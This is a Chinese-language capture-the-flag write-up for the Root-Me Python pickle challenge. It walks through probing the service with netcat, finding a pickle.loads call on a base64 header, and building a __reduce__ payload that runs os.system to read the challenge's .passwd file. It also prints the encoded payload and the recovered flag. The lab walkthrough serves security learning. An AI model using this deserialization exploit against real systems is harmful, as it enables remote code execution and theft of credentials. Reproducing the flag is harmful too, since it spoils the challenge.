LINK:https://www.root-me.org/en/Challenges/App-Script/Python-pickle
https://docs.python.org/3/library/pickle.html?highlight=pickle#module-pickle
https://github.com/python/cpython/blob/3.7/Lib/pickle.py
Warning
The pickle
module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
官方文檔中說過,pickle是個不安全的模塊,永遠別去反序列化不信任的數據。
-
pickle.
loads
(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict") -
Read a pickled object hierarchy from a
bytes
object and return the reconstituted object hierarchy specified therein.The protocol version of the pickle is detected automatically, so no protocol argument is needed. Bytes past the pickled object’s representation are ignored.
Optional keyword arguments are fix_imports, encoding and errors, which are used to control compatibility support for pickle stream generated by Python 2. If fix_imports is true, pickle will try to map the old Python 2 names to the new names used in Python 3. The encoding and errors tell pickle how to decode 8-bit string instances pickled by Python 2; these default to ‘ASCII’ and ‘strict’, respectively. The encoding can be ‘bytes’ to read these 8-bit string instances as bytes objects. Using
encoding='latin1'
is required for unpickling NumPy arrays and instances ofdatetime
,date
andtime
pickled by Python 2.[ BlackArch ~ ]# nc challenge02.root-me.org 60005
admin
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>。
<p>Error code 400.
<p>Message: Bad request syntax ('admin').
<p>Error code explanation: 400 = Bad request syntax or unsupported method. //請求方法不對
</body>[ BlackArch ~ ]# nc challenge02.root-me.org 60005
GET / HTTP/1.0
HTTP/1.0 404 Not Found
Server: BaseHTTP/0.3 Python/2.7.6
Date: Thu, 28 Mar 2019 03:58:48 GMT
Content-type: text/plain
{"result": "Not allowed you should first AUTH"} //使用AUTH方法
[ BlackArch ~ ]# nc challenge02.root-me.org 60005
AUTH admin HTTP/1.0
HTTP/1.0 404 Not Found
Server: BaseHTTP/0.3 Python/2.7.6
Date: Thu, 28 Mar 2019 03:26:00 GMT
Content-type: text/plain
{"result": "Can't find 'Authenticate' header"} //http請求頭需要包含Authenticate字段。[ BlackArch ~ ]# nc challenge02.root-me.org 60005
AUTH admin HTTP/1.0
Authenticate:admin
HTTP/1.0 404 Not Found
Server: BaseHTTP/0.3 Python/2.7.6
Date: Thu, 28 Mar 2019 03:26:24 GMT
Content-type: text/plain
{"result": "Authentication failed = Traceback (most recent call last):\n File \"/challenge/app-script/ch5/ch5\", line 52, in do_AUTH\n authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate')))\n File \"/usr/lib/python2.7/base64.py\", line 76, in b64decode\n raise TypeError(msg)\nTypeError: Incorrect padding\n"}上述操作我們得到了關鍵信息authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate'))),將http請求頭中的Authenticate字段通過
Base64解碼后得到的字節對象再通過pickle模塊反序列化后得到的結果賦值給authcombi變量。
解題思路:構造相對應的HTTP請求頭,主要構造Authenticate這個字段,首先這個字段是一個通過Python的pickle模塊序列化后的一個字節對象,並且需要使用base64編碼格式。
編寫python腳本如下:
#!/usr/bin/env python import os import cPickle import base64 class RunCmd(object): def __reduce__(self): return(os.system, (('cat /challenge/app-script/ch5/.passwd >&4'),)) print(base64.b64encode(cPickle.dumps(RunCmd())))
執行該腳本得到Payload:
Y3Bvc2l4CnN5c3RlbQpwMQooUydjYXQgL2NoYWxsZW5nZS9hcHAtc2NyaXB0L2NoNS8ucGFzc3dkID4mNCcKcDIKdHAzClJwNAou
構造如下HTTP請求:
[ BlackArch ~ ]# nc challenge02.root-me.org 60005 AUTH admin HTTP/1.0 Authenticate:Y3Bvc2l4CnN5c3RlbQpwMQooUydjYXQgL2NoYWxsZW5nZS9hcHAtc2NyaXB0L2NoNS8ucGFzc3dkID4mNCcKcDIKdHAzClJwNAou
//輸入這兩行后回車 6kSGEI2bh8bgRfCW //得到flag HTTP/1.0 200 OK Server: BaseHTTP/0.3 Python/2.7.6 Date: Thu, 28 Mar 2019 04:03:29 GMT Content-type: text/plain {"result": "Authentication successful"}附錄:pickle模塊
python的pickle模塊實現了python的所有數據序列和反序列化。基本上功能使用和JSON模塊沒有太大區別,方法也同樣是dumps/dump和loads/load。cPickle是pickle模塊的C語言編譯版本相對速度更快。
與JSON不同的是pickle不是用於多種語言間的數據傳輸,它僅作為python對象的持久化或者python程序間進行互相傳輸對象的方法,因此它支持了python所有的數據類型。
pickle反序列化后的對象與原對象是等值的副本對象,類似與deepcopy。